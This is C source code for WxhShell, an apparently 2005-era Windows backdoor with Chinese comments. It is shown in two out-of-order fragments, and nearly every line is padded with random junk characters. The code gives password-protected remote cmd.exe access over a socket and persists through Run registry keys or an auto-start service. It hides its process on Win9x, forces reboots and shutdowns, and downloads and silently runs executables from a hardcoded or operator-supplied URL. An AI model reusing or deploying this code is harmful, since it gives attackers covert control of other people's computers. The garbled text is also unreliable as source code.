    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z?o?"|o  
    if(Boot(SHUTDOWN)) Ac@ zTK6>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7lJs{$ P  
    else { R8K ?! Z  
    closesocket(wsh); ~H+W[r}  
    ExitThread(0); R2%>y5dD  
    }  &9*MO  
    break; % w0Vf$  
    } (q|EC;   
  // 获取shell U}]uPvu  
  case 's': { q&y9(ZvI  
    CmdShell(wsh); 0u7\*Iy  
    closesocket(wsh); 0 3/ <A^  
    ExitThread(0); nRL2Z5iO-  
    break; W2CQk  
  } %!_%%p,f  
  // 退出 "k%B;!We)  
  case 'x': { 9"TPAywd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n;5;D  
    CloseIt(wsh); `=B0NC.3  
    break; j& x=?jX  
    } ]*Tnu98G}  
  // 离开 *z{.9z`  
  case 'q': { ~LKX2Q:S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (H*d">`mz  
    closesocket(wsh); y,OwO4+y\  
    WSACleanup(); _H (:$=$Q  
    exit(1); @jp}WwC/  
    break; eK]$8l|LI  
        } sJHN4  
  } ,cqZb0VP{t  
  } mI[$c"!BD  
4)4E/q/5  
  // 提示信息 1hT!~'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]F]!>dKA  
} |,G=k,?_p  
  } E+.%9EKU  
6}>:sr  
  return; -1>$3-ur~  
} tHj |_t  
"++q. y  
// shell模块句柄 *k7vm%#ns  
int CmdShell(SOCKET sock) ;J)8#|  
{ 7rdPA9  
STARTUPINFO si; mAFVjSa2  
ZeroMemory(&si,sizeof(si)); npW1Z3n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vG7aT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^z^ UFW  
PROCESS_INFORMATION ProcessInfo; o9Z!Z ^  
char cmdline[]="cmd"; f/&k $,w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \~YyY'J  
  return 0; G\S>H  
}  xlH?J;$  
q[}[w!to  
// 自身启动模式 b)eKa40Z  
int StartFromService(void) A`D^}F6  
{ rLfhm Ds%u  
typedef struct eZr}xo@9  
{ l*yh(3~}  
  DWORD ExitStatus; A>c/q&WUk  
  DWORD PebBaseAddress; V=C@ocy Z  
  DWORD AffinityMask; %ys-y?r  
  DWORD BasePriority; pNHO;N[&  
  ULONG UniqueProcessId; >^  E  
  ULONG InheritedFromUniqueProcessId; G}lP'9/  
}   PROCESS_BASIC_INFORMATION; Ofyz,% |Q  
%Ny`d49&  
PROCNTQSIP NtQueryInformationProcess; #xopJaY  
l5m5H,`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MZ8jL,a^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S4jt*]w5b  
l^F%fIRp)  
  HANDLE             hProcess; 8-wW?YTG  
  PROCESS_BASIC_INFORMATION pbi; y8{PAH8S  
3>`CZ]ip}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2|1s!Q  
  if(NULL == hInst ) return 0; 0> 6;,pd"  
*$KUnd-T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4rh*&'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v GF<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~[mAv #d&i  
&dino  
  if (!NtQueryInformationProcess) return 0; :LuzKCvBP  
Pw"o[8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #0hX'8];(  
  if(!hProcess) return 0; nVTCbV  
kJJUu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n>w/T"  
WG{mg/\2(C  
  CloseHandle(hProcess); 6G<t1?_yD  
4<['%7U_[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;Ly(O'9  
if(hProcess==NULL) return 0; Ef1R?<  
\xH#X=J  
HMODULE hMod; "\'g2|A  
char procName[255]; ^Fl6-|^~  
unsigned long cbNeeded; -,;Iob56!  
1D0_k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +b7}R7:AFH  
8"M*,?.]  
  CloseHandle(hProcess); K$H>/*&'~  
`FP)-^A8  
if(strstr(procName,"services")) return 1; // 以服务启动 Dm=Em-ST6  
G n_AXN  
  return 0; // 注册表启动 da[u@eNrnX  
} :\*<EIk(  
,6zH;fi  
// 主模块 }@ *Me+  
int StartWxhshell(LPSTR lpCmdLine) GnE%C2L -  
{ R?Dbv'lp>  
  SOCKET wsl; ~ E) [!y  
BOOL val=TRUE; K8`M~P.  
  int port=0; x*~a{M,h  
  struct sockaddr_in door; 3sk$B%a>Z  
U#O 6l-xe]  
  if(wscfg.ws_autoins) Install(); (;V=A4F-D  
*ay>MlcV2=  
port=atoi(lpCmdLine); ?,J N?  
Dj<]eG]  
if(port<=0) port=wscfg.ws_port; VK*2`Z1  
S^GB\uJ  
  WSADATA data; 'JBf*p".  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F Ty`#*7Ul  
x9#>0 4s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +$#YW5wy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  '8NKrI  
  door.sin_family = AF_INET; NX$S^Z\QI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?I`BbT}  
  door.sin_port = htons(port); O?8^I<  
{(7D=\eU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oRM,_  
closesocket(wsl); fb5]eec  
return 1; 7L[HtwI  
} |S5N$[  
6?/$K{AI  
  if(listen(wsl,2) == INVALID_SOCKET) { <By R!Y  
closesocket(wsl); 8t$a8 PE  
return 1; Phsdn`,  
} 5q`d=L,  
  Wxhshell(wsl); Ojkbv  
  WSACleanup(); Jlw oSe:S  
wX6VapFboI  
return 0; qAsZ,ik  
7@MGs2  
} }2.^n{Y  
v hUn3|  
// 以NT服务方式启动 qy`95^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) # E'g{.N  
{ rsP3?.E  
DWORD   status = 0; uf* sI  
  DWORD   specificError = 0xfffffff;  0gBD  
rO% |PRP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?Uzs^rsb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "h/{YjUS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ A\a=A[  
  serviceStatus.dwWin32ExitCode     = 0; xo0",i f8  
  serviceStatus.dwServiceSpecificExitCode = 0; ,.` ";='o  
  serviceStatus.dwCheckPoint       = 0; p~h= ]o'i  
  serviceStatus.dwWaitHint       = 0; 4-`C !q  
=|n NC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jg?B][  
  if (hServiceStatusHandle==0) return; Dg]ua5jk  
W"fdK_F\  
status = GetLastError(); )-824?Nl:  
  if (status!=NO_ERROR) NIDK:q dR  
{ +[9~ta|j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9n!<M)E  
    serviceStatus.dwCheckPoint       = 0; 4 uv'l3  
    serviceStatus.dwWaitHint       = 0; =6t)-53  
    serviceStatus.dwWin32ExitCode     = status; LSQ2pB2V  
    serviceStatus.dwServiceSpecificExitCode = specificError; <lM]c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %-+lud  
    return; M:W9h+z  
  } t_ &FK A  
US+PI`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @3bQ2jn   
  serviceStatus.dwCheckPoint       = 0; vN%zk(?T  
  serviceStatus.dwWaitHint       = 0; n 5NkjhP~Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )< ~1AL  
} OGNjn9av  
Vtm5&-  
// 处理NT服务事件,比如:启动、停止 E9 QA<w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \%9,< -~[  
{ @b2{'#9]}  
switch(fdwControl) ^3QHB1I  
{ 5gg_c?Vh/  
case SERVICE_CONTROL_STOP: v709#/ cR  
  serviceStatus.dwWin32ExitCode = 0; TL+a_]3@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EI2V<v  
  serviceStatus.dwCheckPoint   = 0; lY_E=K]  
  serviceStatus.dwWaitHint     = 0; *k'oP~:fT  
  { XpWqL9s_E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VAc-RaA  
  } Tn[DF9;?  
  return; qFmvc  
case SERVICE_CONTROL_PAUSE: |jW82L+!N%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -san%H'  
  break; 4E:HO\  
case SERVICE_CONTROL_CONTINUE: ]yN]^% PYH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5tR<aIf  
  break; 6a PZW  
case SERVICE_CONTROL_INTERROGATE: %FGPsHH  
  break; F ]\4<  
}; .eW}@1+[;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ecA[  
} @* L^Jgn  
G*e/Ft.wf8  
// 标准应用程序主函数 `9eE139V='  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \1f$]oS  
{ 3a9Oj'd1M  
>t u3m2  
// 获取操作系统版本 GiB3.%R`  
OsIsNt=GetOsVer(); gNl@T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aT"q}UTK  
= LuH:VM&  
  // 从命令行安装 yowvq4e  
  if(strpbrk(lpCmdLine,"iI")) Install(); JP9eNc[  
R{kZKD=  
  // 下载执行文件 wQ[~7 ,o  
if(wscfg.ws_downexe) { b mZRCvW>A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yd lXMddE  
  WinExec(wscfg.ws_filenam,SW_HIDE); {Q^P<  
} ]*U\ gm%  
-G]\"ZGi  
if(!OsIsNt) { lu_ y9o^  
// 如果时win9x,隐藏进程并且设置为注册表启动 D0=D8P}H:  
HideProc(); =ji p* E^  
StartWxhshell(lpCmdLine); `N}<lg(0#  
} e{Pgz0sO Q  
else L.lmbxn  
  if(StartFromService()) V;ZyAp  
  // 以服务方式启动 ~m y\{q  
  StartServiceCtrlDispatcher(DispatchTable); !Pt|Hk dr  
else }S3m wp<Y  
  // 普通方式启动 ^-PlTmT  
  StartWxhshell(lpCmdLine); sN 1x|pkN  
 =w0Rq~  
return 0; gSK (BP|  
} 83:m 7;  
}Gr5TDiV0\  
!)ey~Suh  
ow]S 3[07  
=========================================== B+eB=KL  
g=Q#2/UQ<  
):jK sP ,  
GIsXv 2  
e`'O!  
}8GCOY  
" R>BI;IcX  
=El.uBz{  
#include <stdio.h> E}mnGe  
#include <string.h> j% !   
#include <windows.h> ;^lVIS%&{  
#include <winsock2.h> `4}zB#3  
#include <winsvc.h> ,*a8]L  
#include <urlmon.h> %Y:'5\^lC  
>Be PE(k  
#pragma comment (lib, "Ws2_32.lib") yC4JYF]JN  
#pragma comment (lib, "urlmon.lib") 3>yb$ZU"-  
fyT:I6*  
#define MAX_USER   100 // 最大客户端连接数 Yn[y9;I{  
#define BUF_SOCK   200 // sock buffer 8263  
#define KEY_BUFF   255 // 输入 buffer A!H6$-W|p  
/"tVOv#  
#define REBOOT     0   // 重启 $}2m%$vJO  
#define SHUTDOWN   1   // 关机 o5mt7/5[i  
lyfLkBF  
#define DEF_PORT   5000 // 监听端口 "T?%4^:g  
cIK-VmO  
#define REG_LEN     16   // 注册表键长度 :,y V?E6]  
#define SVC_LEN     80   // NT服务名长度 d%VGfSrKq  
W@AZ<(RI:  
// 从dll定义API 6GMQgTY^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CspY+%3$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V /$qD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  nsij;C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i*..]!7e  
z<ptrH  
// wxhshell配置信息 0wB ?U~  
struct WSCFG { 6gY5v @!w  
  int ws_port;         // 监听端口 rOE[c  
  char ws_passstr[REG_LEN]; // 口令 a"EP`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8#2PJHl;  
  char ws_regname[REG_LEN]; // 注册表键名 L{N9h1]  
  char ws_svcname[REG_LEN]; // 服务名 KR%p*Nh+C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HviL4iO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >&RpfE[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ko@I]gi2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nj*J~&6G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U: ~O^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !FZb3U@  
;B o2$  
}; YMj z , N  
$dFEC}1t  
// default Wxhshell configuration ?%i|].<-'  
struct WSCFG wscfg={DEF_PORT, Cd#[b)d ?^  
    "xuhuanlingzhe", FGG Fi(  
    1, .T L0cfTo  
    "Wxhshell", bqFGDmu6'  
    "Wxhshell", 66fvS}x  
            "WxhShell Service", s[nXr   
    "Wrsky Windows CmdShell Service", Dsw(ti`@  
    "Please Input Your Password: ", ])'22sY  
  1, i|*(vH&D.  
  "http://www.wrsky.com/wxhshell.exe", XWo:~\  
  "Wxhshell.exe" %L:e~*  
    }; NwIl~FNK  
`]_#_  
// 消息定义模块 VT?J TW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tmDI2Z%7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]L^X}[SH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; } =?kf3k  
char *msg_ws_ext="\n\rExit."; 5Lo{\7%  
char *msg_ws_end="\n\rQuit."; )/HSt%>  
char *msg_ws_boot="\n\rReboot..."; &`0y<0z  
char *msg_ws_poff="\n\rShutdown..."; Z 3m5DK  
char *msg_ws_down="\n\rSave to "; `XB(d@%  
*e H[~4  
char *msg_ws_err="\n\rErr!"; -i:Zi}f  
char *msg_ws_ok="\n\rOK!"; {kD|8["Ie'  
R}8!~Ma`|  
char ExeFile[MAX_PATH]; `LVItP(GUM  
int nUser = 0; ~#h@.yW^JN  
HANDLE handles[MAX_USER]; 8h=H\v^f  
int OsIsNt; CA7tI >y_  
MM3X! tq  
SERVICE_STATUS       serviceStatus; E[/<AY^@!z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m%m/#\J E  
_=3H!b =  
// 函数声明 |+mhYq|`  
int Install(void); vo-n9Bj  
int Uninstall(void); '=G4R{  
int DownloadFile(char *sURL, SOCKET wsh); 6P;IKOv^  
int Boot(int flag); wWko9h=|mQ  
void HideProc(void); 3cBuqQ  
int GetOsVer(void); 3:&!Q*i;  
int Wxhshell(SOCKET wsl); -8HIsRh  
void TalkWithClient(void *cs); l"*qj#FD  
int CmdShell(SOCKET sock); 6c^2Nl8e  
int StartFromService(void); QY8I_VF  
int StartWxhshell(LPSTR lpCmdLine); k]u0US9/  
Q[;!z1ur  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T-xcd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %E3|b6k\  
<,(6*b  
// 数据结构和表定义 X<Rh-1$8F  
SERVICE_TABLE_ENTRY DispatchTable[] = 4};iL)  
{  4C/  
{wscfg.ws_svcname, NTServiceMain}, q{ n~v>wU  
{NULL, NULL} 0\qbJ  
}; w1KLQd:yq  
z2i?7)(?;A  
// 自我安装 Mc>]ZAzr  
int Install(void) 8c3`IIzAS  
{ Q%o ]&Hdn  
  char svExeFile[MAX_PATH]; I;qeDCM  
  HKEY key; R44JK  
  strcpy(svExeFile,ExeFile); NS6#od ZeV  
%0YwaxXPn7  
// 如果是win9x系统,修改注册表设为自启动 p ~J`}>yo  
if(!OsIsNt) { w")VcAq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RnPJ,Z5s&&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C8}ujC  
  RegCloseKey(key); =O?<WJoK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E}-Y@( [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wo&MHMP  
  RegCloseKey(key); N8m|Y]^H#  
  return 0; 12gcma}  
    } PPU,o8E+  
  } kG[u$[B  
} y&-wb'==p  
else { WEFYV=I\  
k|F<?:C  
// 如果是NT以上系统,安装为系统服务 t/yGMR=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _}:9ic]e  
if (schSCManager!=0) (=}U2GD*  
{ (NyS2 `  
  SC_HANDLE schService = CreateService , ?WTX  
  ( 1@" eeR  
  schSCManager, J [J,  
  wscfg.ws_svcname, w 6+X{  
  wscfg.ws_svcdisp, \CM/KrCR  
  SERVICE_ALL_ACCESS, Ytmt+9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o/@.*Rj>Bg  
  SERVICE_AUTO_START, iIA5ylf{E  
  SERVICE_ERROR_NORMAL, dms R>Q  
  svExeFile, ..UmbJJ.u  
  NULL, @\e2Q& O  
  NULL, 1Y$ gt  
  NULL, ,Bk mf|  
  NULL, kIWQ _2  
  NULL 8G`fSac`  
  ); zGHP{a1O7  
  if (schService!=0) j!B+Q  
  { ;g?oU "YM  
  CloseServiceHandle(schService); JOS,>;;F4  
  CloseServiceHandle(schSCManager); |GM?4'2M.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ><}FyK4C  
  strcat(svExeFile,wscfg.ws_svcname); &?f{.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &%+}bt5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T~J6(,"  
  RegCloseKey(key); GKu@8Ol-wu  
  return 0; Z@>hN%{d+g  
    } wASgdGoy  
  } kzny4v[y  
  CloseServiceHandle(schSCManager); mw!D|  
} $YSAD\a<  
} )WF]v"t  
r" d/ 9  
return 1; cq>{  
} P95U{   
2>Hl=bX  
// 自我卸载 =hxj B*")  
int Uninstall(void) .xS3,O_[  
{ 0%+S@_|  
  HKEY key; dnTB$8&  
*&9_+F8ly  
if(!OsIsNt) { <e-9We."  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qu,W3d  
  RegDeleteValue(key,wscfg.ws_regname); Y!c RzQ  
  RegCloseKey(key); wkOo8@J\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6+u}'mSj8  
  RegDeleteValue(key,wscfg.ws_regname); lM`M70~  
  RegCloseKey(key); _tTtq/z<  
  return 0; Gl}[1<~o  
  } Ox7v*[x'  
} #|k;nFJ  
} qL.1N~$2  
else { VC5LxA0{  
|Wd]:ijJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `9E:V=  
if (schSCManager!=0) h[b5"Uqj  
{ 8!2NZOZOS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9\ZlRYnc=  
  if (schService!=0) Y f:xM>.%  
  { %K8Ei/p\t]  
  if(DeleteService(schService)!=0) { DXu#07\  
  CloseServiceHandle(schService); {R%v4#nk  
  CloseServiceHandle(schSCManager); Kmc*z (Q  
  return 0; dP63bV  
  } NBEcx>pma  
  CloseServiceHandle(schService); 1wP#?p)c  
  } h}r*   
  CloseServiceHandle(schSCManager); s\y+ xa:  
} Z 6KM%R  
} GjN/8>/  
@[h)M3DFd  
return 1; ^ cpQ*Fz  
} s kC*  
#Jp_y|  
// 从指定url下载文件 MkgeECMf  
int DownloadFile(char *sURL, SOCKET wsh) (oTtnQ""+  
{ Q xZYy}2  
  HRESULT hr; EvSo|}JA[  
char seps[]= "/"; ]Q1?Ox:'  
char *token; X`xmV!  
char *file; C"}CD{<H]M  
char myURL[MAX_PATH]; gw' uY$  
char myFILE[MAX_PATH]; DjY&)oce(  
z(b0U6)qQ  
strcpy(myURL,sURL); z +,l"#Vv  
  token=strtok(myURL,seps); 2 Z K:S+c  
  while(token!=NULL) x>:~=#Vi  
  { >]K:lJ]l  
    file=token; Z^ynw8k"  
  token=strtok(NULL,seps); 1><@$kVMm~  
  } y|X</3w  
Z BjyQ4h  
GetCurrentDirectory(MAX_PATH,myFILE); hr3RC+ y  
strcat(myFILE, "\\"); UJ0fYTeuI  
strcat(myFILE, file); %\Dvng6$  
  send(wsh,myFILE,strlen(myFILE),0); Gu[G_^>  
send(wsh,"...",3,0); u`?MV2jU2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :EJ8^'0Q  
  if(hr==S_OK) -kFEVJbUyc  
return 0; h6J0b_3h4  
else M"# >?6{  
return 1; x&}pM}ea  
"2} {lu  
} <%w)EQf4m  
qd$Y"~Mco  
// 系统电源模块 [Q+8Ku  
int Boot(int flag) 4UwXrEQp  
{ K;kaWV  
  HANDLE hToken; Bh3N6j+$d  
  TOKEN_PRIVILEGES tkp; $>Md]/I8  
Ilt!O^  
  if(OsIsNt) { q"BM*:W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7^1yZ1(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kg lL@V7  
    tkp.PrivilegeCount = 1; YZ>L\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jZwv !-:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /g$cQ=c  
if(flag==REBOOT) { yF2|w=!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tg =ClZ-  
  return 0; Y'K+O  
} .}IxZM[}D  
else { ^6R Sbi\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1eQfc{[g  
  return 0; rXl ~D!  
} 7|$cM7_r  
  } #._%~}U  
  else { .U}"ONd9e  
if(flag==REBOOT) { R>Q&Ax  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ja1[vO"YgP  
  return 0; ;k1 \-  
} {2jetX`@h  
else { {Yq"%n'0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EJC{!06L'/  
  return 0; )}ygzKEa  
} Jv_KZDOdk  
} 'Mp8!9=&  
st~ 1[in  
return 1; 8{DZew /  
} ;rwjqUDBz  
> mI1wV[  
// win9x进程隐藏模块 dL{zU4iUR  
void HideProc(void) v9?hcJ=  
{ R"@J*\;$T  
H}v.0R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '+?L/|'  
  if ( hKernel != NULL ) $glt%a  
  { 2AYV9egZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p@B/S(Xi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +=.>9  
    FreeLibrary(hKernel); hG1\  
  } %{M_\Ae#  
b!(ew`Y;  
return; rq#8}T>  
} u7PtGN0r%  
4I"%GN[tA  
// 获取操作系统版本 z"7I5N  
int GetOsVer(void) s?-@8.@  
{ ]oOSL=~c  
  OSVERSIONINFO winfo; f3r\X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M1nH!A~o  
  GetVersionEx(&winfo); g2?kC^=z=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #>O!N  
  return 1; ^:krfXT  
  else hA?Flq2QV  
  return 0; 0%x"Va~"z  
} 18`YY\u(  
?E>(zV1D/  
// 客户端句柄模块 5(9SIj^O  
int Wxhshell(SOCKET wsl) 8{0=tOXx{  
{ r'|Vz*/h  
  SOCKET wsh; L@mNfLK  
  struct sockaddr_in client; kmNa),`{s  
  DWORD myID; h=?V)WSM  
PhUG}94  
  while(nUser<MAX_USER) 7hV9nuW  
{ =2Vs))>Y  
  int nSize=sizeof(client); ]|H`?L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j 3/ I =  
  if(wsh==INVALID_SOCKET) return 1; hk5[ N=  
^nO0/nqz]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xi+bBqg<.K  
if(handles[nUser]==0) N@qP}/}8  
  closesocket(wsh); <@F.qMl  
else : Xe,=M(l~  
  nUser++; \,n|V3#G  
  } B=ckRW q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ""~b1kEt  
W|2o^ V  
  return 0; Gy;>.:n  
} MWGs:tpL4  
Z--A:D>  
// 关闭 socket c >O>|*I  
void CloseIt(SOCKET wsh) iX&eQ{LB  
{ g4eEkG`XTS  
closesocket(wsh); X  jPPgI  
nUser--; J\@ r ~x5G  
ExitThread(0); LqYP0%7  
} Uzi.CYVs%  
ol[sX=5 *  
// 客户端请求句柄 |2L|Zp&  
void TalkWithClient(void *cs) o"kVA;5<G  
{ `j#zwgUs  
:D|5E>o(  
  SOCKET wsh=(SOCKET)cs; %#_"I e  
  char pwd[SVC_LEN]; kA.U2  
  char cmd[KEY_BUFF]; (&Kv]--  
char chr[1]; hSN{jl{L`  
int i,j; 5SB!)F]   
"_f~8f`y  
  while (nUser < MAX_USER) { :eH*biXy}2  
}]<Ghns  
if(wscfg.ws_passstr) { JJQS7,vG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QLPb5{>KDS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _YK66cS3E/  
  //ZeroMemory(pwd,KEY_BUFF); ~vbyX  
      i=0; C {*' p+f  
  while(i<SVC_LEN) { {+3 `{34e  
e7_.Xr~[  
  // 设置超时 @sr~&YhA  
  fd_set FdRead; ^@V; `jsll  
  struct timeval TimeOut; o^efeI  
  FD_ZERO(&FdRead); gTM*td(~^  
  FD_SET(wsh,&FdRead); $q|-9B  
  TimeOut.tv_sec=8; yv;KKQ   
  TimeOut.tv_usec=0; 8mm]>u$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wB(X(nr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !&eKq?P{j  
7Mj:bm&9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M1mx{<]A  
  pwd=chr[0]; {py"Ob_  
  if(chr[0]==0xd || chr[0]==0xa) { sBq-"YcjR  
  pwd=0; '5)PYjMnH  
  break; m{w'&\T  
  } sk%Xf,  
  i++; 69"4/n7B?  
    } XsEo tW  
3LkcK1x.  
  // 如果是非法用户,关闭 socket =#Z+WD-E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o*t4zF&n  
} j&N {j_ M  
QomihQnc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : MEB] }  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /ucS*m:<x  
#FhgKwx  
while(1) { PY@BgL=/  
5Ic'6AIz  
  ZeroMemory(cmd,KEY_BUFF); @* <`*W  
#iiXJnG  
      // 自动支持客户端 telnet标准   M*-]<!))7  
  j=0; L%`MoTpK q  
  while(j<KEY_BUFF) { }> ]`#s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rj ] ~g  
  cmd[j]=chr[0]; $~,J8?)(z  
  if(chr[0]==0xa || chr[0]==0xd) { c;B:o  
  cmd[j]=0; v,L@nlD]  
  break; T!jMh-8  
  } W; zzc1v  
  j++; )Tl]1^  
    } 9*2Q'z}_  
] :SbvsPm  
  // 下载文件 ]:r(U5 #  
  if(strstr(cmd,"http://")) { hDf!l$e.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *}'3|e4w}  
  if(DownloadFile(cmd,wsh)) Qx_]oz]NY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #z5$_z?_  
  else so>jz@!EE  
